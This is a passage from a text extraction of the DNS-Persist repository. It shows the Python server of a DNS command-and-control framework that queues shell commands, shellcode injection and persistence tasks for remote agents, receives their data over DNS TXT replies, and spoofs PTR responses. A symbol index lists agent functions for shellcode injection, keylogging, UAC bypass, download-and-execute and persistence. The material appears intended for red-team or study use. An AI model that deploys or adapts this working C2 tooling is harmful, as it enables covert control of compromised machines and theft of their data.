		self.host = host
		self.port = port
		self.activeAgents = activeAgents

	def add_agent_times(self,agent):

		if(agentTimes.has_key(agent)):
			agentTimes[agent] = time.time()
		else:
			agentTimes.update({agent:time.time()})


	def get_agent_shellcode(self,agent):
		chunk = 64
		
		if(agentShellcode.has_key(agent)):
			if(len(agentShellcode[agent])>chunk):
				data = agentShellcode[agent][:chunk]
				agentShellcode[agent] = agentShellcode[agent][chunk:]
				
				return data
			else:
				data = agentShellcode[agent]
				del agentShellcode[agent]
				
				return data

		return "!@!"



	def get_agent_command(self,agent):
		# This code will return the data of the agent
		if(agentCommands.has_key(agent)):
				number_of_commands = len(agentCommands[agent])
				#print "Number of commands : %s" % number_of_commands
				if(number_of_commands>0):
					for command in agentCommands[agent]:
						#print command[1]
						if(command[1] == "WAITING"):
							command[1] = "DONE"
							return "CMD:%s" % (command[0])
				
				return "There were no commands :)"
		else:
			return "No agent with this name"


	def agent_probe(self,agent):
		try:
			if(agentCommands.has_key(agent)):
				if(len(agentCommands[agent]) > 0):
					i = 0
					for command in agentCommands[agent]:
						if(command[1] == "WAITING"):
							i = i + 1
					if (i == 0):
						agentCommands[agent] = []
					return "NR:%s" %  i

		except Exception,e:
			print "Error: %s" % e
			pass
		
		return "There were no commands :("

	def agent_receive_data(self,agent,response_data):
		global agentData

		if(not agentData.has_key(agent)):
			agentData.update({agent:""})

		# Processing of the data
		# Add if it starts with {! and ends with !} is a small value

		if(response_data.decode('hex').startswith("{!")):
			agentData[agent] = response_data[4:]
		elif(response_data.decode('hex').endswith("!}")):
			agentData[agent] += response_data[:-4]
			print "\n[+] Data from agent: %s [+]" % agent
			print agentData[agent].decode('hex')
			agentData[agent] = ""

		else:
			agentData[agent] += response_data

		
		return "RESP:OK"

	


	def parse_request_packet(self, agent, packetType, response_data=""):
		# This code will have the logic that will make the response
		# and decide what to do with the request
		
		# THIS IS A VERY TERRIBLE IMPLEMENTATION LOL
		if(packetType == "PROBE"):
			return self.agent_probe(agent)
		elif(packetType == "CMD"):
			return self.get_agent_command(agent)
		elif(packetType == "SHL"):
			return self.get_agent_shellcode(agent)
		elif(packetType == "DATA" and response_data != ""):
			return self.agent_receive_data(agent,response_data)

		return "Agent: %s packet %s" % (agent,packetType)


	def parse_dns_request(self,data):
		# Parse DNS Requests
		request = DNSRecord.parse(data)

		qtype = QTYPE[request.q.qtype]
		
		if(str(qtype) == "PTR"):
			return "PTR",0,request

		if((len(request.q.qname.label) <= 1) or (str(qtype) != "TXT")):
			#print "[-] Invalid Packet Received [-]"
			return 0,0,0
		else:
			name = request.q.qname.label[0]
			domain = request.q.qname.label[1]
			return name, domain , request

	def get_dns_response(self,request,data):
		
		reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
		reply.add_answer(RR(request.q.qname, QTYPE.TXT, rdata=TXT(data)))
		return reply.pack()

	def get_dns_ptr_response(self,request):
		reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
		reply.add_answer(RR(request.q.qname, QTYPE.PTR, rdata=PTR("google-public-dns-b.google.com")))
		return reply.pack()

	def get_dns_data(self,data):
		#to be implemented


		self.data = data
		packetType = data.split("-")[1]
		agent = data.split("-")[0]
		
		# Add times for the latest probe.

		self.add_agent_times(agent)

		if(agent not in activeAgents):
			activeAgents.append(agent)
			print "\n[+] Agent %s called back [+]" % (agent)
			if(not agentCommands.has_key(agent)):
				agentCommands.update({agent:[]})
				# If there is no commands for agent replace them.
		if(len(data.split("-")) == 3 and packetType == "DATA"):
			response_data = data.split("-")[2]
			return self.parse_request_packet(agent,packetType,response_data)
		else:
			return self.parse_request_packet(agent,packetType)
		#return "packet type %s on agent %s" % (packetType, agent)

	def get_active_agents(self):
		return activeAgents

	def clear_agents(self):
		
		# This will clear agents that are in not active for at least 60 seconds
		while 1:
			time.sleep(5)
			for agent in activeAgents:
				if(agentTimes.has_key(agent)):
					if((time.time() - agentTimes[agent]) > 60):
						print "[-] Agent %s is offline [-]" % agent
						activeAgents.remove(agent)

	def start_server(self):

		# Create DNS Listener Socket
		self.dns_listener = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
		self.dns_listener.bind((self.host,self.port))

		# This will clear the active agents and notify when the agent are not online
		agentClearThread = threading.Thread(target=self.clear_agents, args=())
		agentClearThread.daemon = True
		agentClearThread.start()

		while 1:
			

			data, address = self.dns_listener.recvfrom(1024)
			name, domain, request = self.parse_dns_request(data)
			if(name != 0 and domain !=0 and request !=0):
				#print name,domain
				#print "[+] Sending Response [+]"
				data = self.get_dns_data(name)
				reply = self.get_dns_response(request,data)
				self.dns_listener.sendto(reply,address)
			
			elif(name == "PTR"):
				# Send here PTR response
				reply = self.get_dns_ptr_response(request)
				self.dns_listener.sendto(reply,address)
				




# This the input part of the CMD lop


class Input(cmd.Cmd):

	AGENTS = activeAgents
	prompt = "DNS-C2 #> "
	def do_agents(self,s):
		self.list_agents()
	def do_interact(self,agent):
		self.AGENTS = activeAgents
		if(agent in self.AGENTS):
			print "[+] Interacting with : " + agent + " [+]"
			changeInteractedAgent(agent)
			agentInteraction = AgentCMD()
			agentInteraction.prompt = self.prompt + "(" + agent + "): "
			agentInteraction.cmdloop()
		else:
			print "[-] Agent not valid [-]"

	def complete_interact(self, text, line, begidx, endidx):
		if not text:
			completions = self.AGENTS[:]
		else:
			completions = [ f
			for f in self.AGENTS
			if f.startswith(text)
			]
		return completions
	def do_quit(self,s):
		exit(0)
	def emptyline(self):
		pass
	def list_agents(self):
		if(len(activeAgents)>0):
			print "[+] Number of agents : %s [+]" % len(activeAgents)
			for agent in activeAgents:
				print agent
		else:
			print "[-] No active agents [-]"

class AgentCMD(cmd.Cmd):

	# This is the Agent command line .
	def do_process_list(self,s):
		sendTask(interactedAgent,"PSL")
	def do_execute_shellcode(self,shellcodefile):
		if(addShellcode(interactedAgent,shellcodefile)):
			sendTask(interactedAgent,"INJ")
	def do_sysinfo(self,s):
		sendTask(interactedAgent,"SYS")
	def do_persist(self,s):
		if(persistenceMethods.has_key(s)):
				sendTask(interactedAgent,"PRT-%s" % persistenceMethods[s])
		else:
			print "\n[-] Invalid persistence method [-]"
			print "\nPersistence methods: "
			for key,value in persistenceMethods.iteritems():
				print "-> persist %s" % (key)
			print "\n"
	def do_shell(self,s):
		agent_shell = AgentShell()
		agent_shell.prompt = "SHELL #>(%s) " % interactedAgent
		agent_shell.cmdloop()

	def do_back(self,s):
		interactedAgent = ""
		return True
	def emptyline(self):
		pass

class AgentShell(cmd.Cmd):

	def emptyline(self):
		pass

	def onecmd(self,s):
		if(s == "exit" or s == "quit" or s == "back"):
			return True
		elif(s is None or s == ""):
			pass
		else:
			sendTask(interactedAgent, "ECM-%s" % s)



================================================
FILE: modules/__init__.py
================================================


================================================
FILE: server.py
================================================
from modules import DNSListener
from modules import AgentControllerCLI
import threading



banner = """
    ____  _   _______       ____                 _      __ 
   / __ \/ | / / ___/      / __ \___  __________(_)____/ /_
  / / / /  |/ /\__ \______/ /_/ / _ \/ ___/ ___/ / ___/ __/
 / /_/ / /|  /___/ /_____/ ____/  __/ /  (__  ) (__  ) /_  
/_____/_/ |_//____/     /_/    \___/_/  /____/_/____/\__/  
                                                           
"""
host = "0.0.0.0"
port = 53

print banner


DNSObject = DNSListener.DNSListener(host,port)
commandInputs = DNSListener.Input().cmdloop()
Download .txt
gitextract_po3zvpy2/

├── .gitignore
├── Agent/
│   ├── Agent/
│   │   ├── Agent.aps
│   │   ├── Agent.rc
│   │   ├── Agent.vcxproj
│   │   ├── Agent.vcxproj.filters
│   │   ├── Agent.vcxproj.user
│   │   ├── Commands.cpp
│   │   ├── Commands.h
│   │   ├── DNSCommunication.cpp
│   │   ├── DNSCommunication.h
│   │   ├── Declarations.h
│   │   ├── Handler.cpp
│   │   ├── Handler.h
│   │   ├── Persistence.cpp
│   │   ├── Persistence.h
│   │   ├── XLSADDIN.xlam
│   │   ├── main.cpp
│   │   └── resource.h
│   └── Agent.sln
├── LICENSE
├── README.md
├── modules/
│   ├── AgentControllerCLI.py
│   ├── DNSListener.py
│   └── __init__.py
└── server.py
Download .txt
SYMBOL INDEX (75 symbols across 7 files)

FILE: Agent/Agent/Commands.cpp
  function LPCSTR (line 6) | LPCSTR ProcessList(){
  function LPCSTR (line 12) | LPCSTR ExecuteShell(LPCSTR command){
  function LPCSTR (line 18) | LPCSTR SystemInfo(){
  function LPSTR (line 42) | LPSTR AgentName(){
  function LPCSTR (line 56) | LPCSTR ExecuteShellcode(){
  function DWORD (line 79) | DWORD WINAPI InjectShellcode(LPVOID lpData){
  function BOOL (line 95) | BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId){

FILE: Agent/Agent/DNSCommunication.cpp
  function BOOL (line 3) | BOOL SendData(LPSTR agentName, LPSTR data){
  function VOID (line 51) | VOID DataToHEX(const std::string str, std::string& hexstr, bool capital ...
  function SendDNSPacket (line 63) | std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR respon...
  function GetShellcode (line 92) | std::string GetShellcode(LPSTR agentName){
  function ExecuteCommand (line 144) | std::string ExecuteCommand(LPCSTR cmd) {

FILE: Agent/Agent/Handler.cpp
  function LPCSTR (line 3) | LPCSTR HandleCommand(LPCSTR command){

FILE: Agent/Agent/Persistence.cpp
  function LPCSTR (line 3) | LPCSTR Persist(DWORD method){
  function BOOL (line 23) | BOOL PersistRunKey(){
  function BOOL (line 46) | BOOL PersistLogonScript(){
  function BOOL (line 69) | BOOL PersistExcelAddin(){

FILE: Agent/Agent/main.cpp
  function main (line 6) | int main(){

FILE: modules/AgentControllerCLI.py
  function changeInteractedAgent (line 6) | def changeInteractedAgent(agent):
  class Input (line 9) | class Input(cmd.Cmd):
    method do_agents (line 14) | def do_agents(self,s):
    method do_interact (line 16) | def do_interact(self,agent):
    method complete_interact (line 27) | def complete_interact(self, text, line, begidx, endidx):
    method do_quit (line 36) | def do_quit(self,s):
    method emptyline (line 38) | def emptyline(self):
    method list_agents (line 40) | def list_agents(self):
  function getInteractedAgent (line 45) | def getInteractedAgent():
  class AgentCMD (line 51) | class AgentCMD(cmd.Cmd):
    method do_sysinfo (line 54) | def do_sysinfo(self,s):
    method do_bypassuac (line 56) | def do_bypassuac(self,s):
    method do_keylog_start (line 58) | def do_keylog_start(self,s):
    method do_keylog_stop (line 60) | def do_keylog_stop(self,s):
    method do_keylog_dump (line 62) | def do_keylog_dump(self,s):
    method do_exec (line 64) | def do_exec(self,s):
    method do_downloadexecute (line 66) | def do_downloadexecute(self,s):
    method do_persist (line 68) | def do_persist(self,s):
    method do_back (line 70) | def do_back(self,s):
    method emptyline (line 73) | def emptyline(self):

FILE: modules/DNSListener.py
  function sendTask (line 20) | def sendTask(agent,command):
  function addShellcode (line 23) | def addShellcode(agent,shellcodefile):
  function getInteractedAgent (line 40) | def getInteractedAgent():
  function changeInteractedAgent (line 44) | def changeInteractedAgent(agent):
  class DNSListener (line 49) | class DNSListener(object):
    method __init__ (line 51) | def __init__(self, host="127.0.0.1",port="53"):
    method add_agent_times (line 64) | def add_agent_times(self,agent):
    method get_agent_shellcode (line 72) | def get_agent_shellcode(self,agent):
    method get_agent_command (line 91) | def get_agent_command(self,agent):
    method agent_probe (line 108) | def agent_probe(self,agent):
    method agent_receive_data (line 126) | def agent_receive_data(self,agent,response_data):
    method parse_request_packet (line 152) | def parse_request_packet(self, agent, packetType, response_data=""):
    method parse_dns_request (line 169) | def parse_dns_request(self,data):
    method get_dns_response (line 186) | def get_dns_response(self,request,data):
    method get_dns_ptr_response (line 192) | def get_dns_ptr_response(self,request):
    method get_dns_data (line 197) | def get_dns_data(self,data):
    method get_active_agents (line 222) | def get_active_agents(self):
    method clear_agents (line 225) | def clear_agents(self):
    method start_server (line 236) | def start_server(self):
  class Input (line 271) | class Input(cmd.Cmd):
    method do_agents (line 275) | def do_agents(self,s):
    method do_interact (line 277) | def do_interact(self,agent):
    method complete_interact (line 288) | def complete_interact(self, text, line, begidx, endidx):
    method do_quit (line 297) | def do_quit(self,s):
    method emptyline (line 299) | def emptyline(self):
    method list_agents (line 301) | def list_agents(self):
  class AgentCMD (line 309) | class AgentCMD(cmd.Cmd):
    method do_process_list (line 312) | def do_process_list(self,s):
    method do_execute_shellcode (line 314) | def do_execute_shellcode(self,shellcodefile):
    method do_sysinfo (line 317) | def do_sysinfo(self,s):
    method do_persist (line 319) | def do_persist(self,s):
    method do_shell (line 328) | def do_shell(self,s):
    method do_back (line 333) | def do_back(self,s):
    method emptyline (line 336) | def emptyline(self):
  class AgentShell (line 339) | class AgentShell(cmd.Cmd):
    method emptyline (line 341) | def emptyline(self):
    method onecmd (line 344) | def onecmd(self,s):
Condensed preview — 25 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (40K chars).
[
  {
    "path": ".gitignore",
    "chars": 138,
    "preview": "*.pyc\n*.exe\n*.pdb\n*.sdf\n*.ipch\n*.ilk\n*.obj\n*.tlog\n*.txt\n*.cache\n*.idb\n*.manifest\n*.log\n*.suo\nAgent/Agent/Release\nAgent/A"
  },
  {
    "path": "Agent/Agent/Agent.vcxproj",
    "chars": 3884,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microso"
  },
  {
    "path": "Agent/Agent/Agent.vcxproj.filters",
    "chars": 2111,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
  },
  {
    "path": "Agent/Agent/Agent.vcxproj.user",
    "chars": 139,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
  },
  {
    "path": "Agent/Agent/Commands.cpp",
    "chars": 3419,
    "preview": "#include \"Commands.h\"\n\n\n\n\nLPCSTR ProcessList(){\n\tstd::string pList = ExecuteCommand(\"tasklist\");\n\tLPSTR lpResponse = new"
  },
  {
    "path": "Agent/Agent/Commands.h",
    "chars": 258,
    "preview": "#include \"DNSCommunication.h\"\n\nLPCSTR ProcessList();\nLPCSTR SystemInfo();\nLPCSTR ExecuteShellcode();\nLPCSTR ExecuteShell"
  },
  {
    "path": "Agent/Agent/DNSCommunication.cpp",
    "chars": 4181,
    "preview": "#include \"DNSCommunication.h\"\n\nBOOL SendData(LPSTR agentName, LPSTR data){\n\t\n\t// Used string because of lack of knowledg"
  },
  {
    "path": "Agent/Agent/DNSCommunication.h",
    "chars": 319,
    "preview": "#include \"Declarations.h\"\n\n\n\nBOOL SendData(LPSTR agentName, LPSTR data);\nVOID DataToHEX(const std::string str, std::stri"
  },
  {
    "path": "Agent/Agent/Declarations.h",
    "chars": 584,
    "preview": "#include <Windows.h>\n#include <Strsafe.h>\n#include <Windns.h>\n#include \"resource.h\"\n#include \"Shlwapi.h\"\n\n#include <iost"
  },
  {
    "path": "Agent/Agent/Handler.cpp",
    "chars": 559,
    "preview": "#include \"Handler.h\"\n\nLPCSTR HandleCommand(LPCSTR command){\n\n\tstd::string data = command;\n\n\tif(strstr(command,\"PRT-\") !="
  },
  {
    "path": "Agent/Agent/Handler.h",
    "chars": 111,
    "preview": "#include \"Declarations.h\"\n#include \"Persistence.h\"\n#include \"Commands.h\"\n\nLPCSTR HandleCommand(LPCSTR command);"
  },
  {
    "path": "Agent/Agent/Persistence.cpp",
    "chars": 2594,
    "preview": "#include \"Persistence.h\"\n\nLPCSTR Persist(DWORD method){\n\n\tswitch(method){\n\t\tcase PERSIST_RUNKEY:\n\t\t\tif(PersistRunKey()){"
  },
  {
    "path": "Agent/Agent/Persistence.h",
    "chars": 155,
    "preview": "#include \"Declarations.h\"\n#include \"Commands.h\"\n\n\nLPCSTR Persist(DWORD method);\nBOOL PersistRunKey();\nBOOL PersistLogonS"
  },
  {
    "path": "Agent/Agent/main.cpp",
    "chars": 950,
    "preview": "#include \"Declarations.h\"\n#include \"DNSCommunication.h\"\n#include \"Handler.h\"\n#include \"Commands.h\"\n\nint main(){\n\n\tShowWi"
  },
  {
    "path": "Agent/Agent.sln",
    "chars": 865,
    "preview": "\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual C++ Express 2010\nProject(\"{8BC9CEB8-8B4A-11D0-8D1"
  },
  {
    "path": "LICENSE",
    "chars": 1060,
    "preview": "MIT License\n\nCopyright (c) 2017 Rio\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof thi"
  },
  {
    "path": "README.md",
    "chars": 2915,
    "preview": "# DNS-Persist\nDNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is i"
  },
  {
    "path": "modules/AgentControllerCLI.py",
    "chars": 1683,
    "preview": "import cmd\n\nactiveAgents = [\"PC-01\",\"FUCK\"]\n\n\ndef changeInteractedAgent(agent):\n\tprint agent\n\nclass Input(cmd.Cmd):\n\n\n\tA"
  },
  {
    "path": "modules/DNSListener.py",
    "chars": 8847,
    "preview": "from dnslib import *\nimport socket\nimport time\nimport threading\nimport cmd\n\n\ninteractedAgent = \"\"\nactiveAgents = []\nagen"
  },
  {
    "path": "modules/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "server.py",
    "chars": 603,
    "preview": "from modules import DNSListener\nfrom modules import AgentControllerCLI\nimport threading\n\n\n\nbanner = \"\"\"\n    ____  _   __"
  }
]

// ... and 4 more files (download for full content)

About this extraction

This page contains the full source code of the 0x09AL/DNS-Persist GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 25 files (34.5 KB), approximately 10.2k tokens, and a symbol index with 75 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!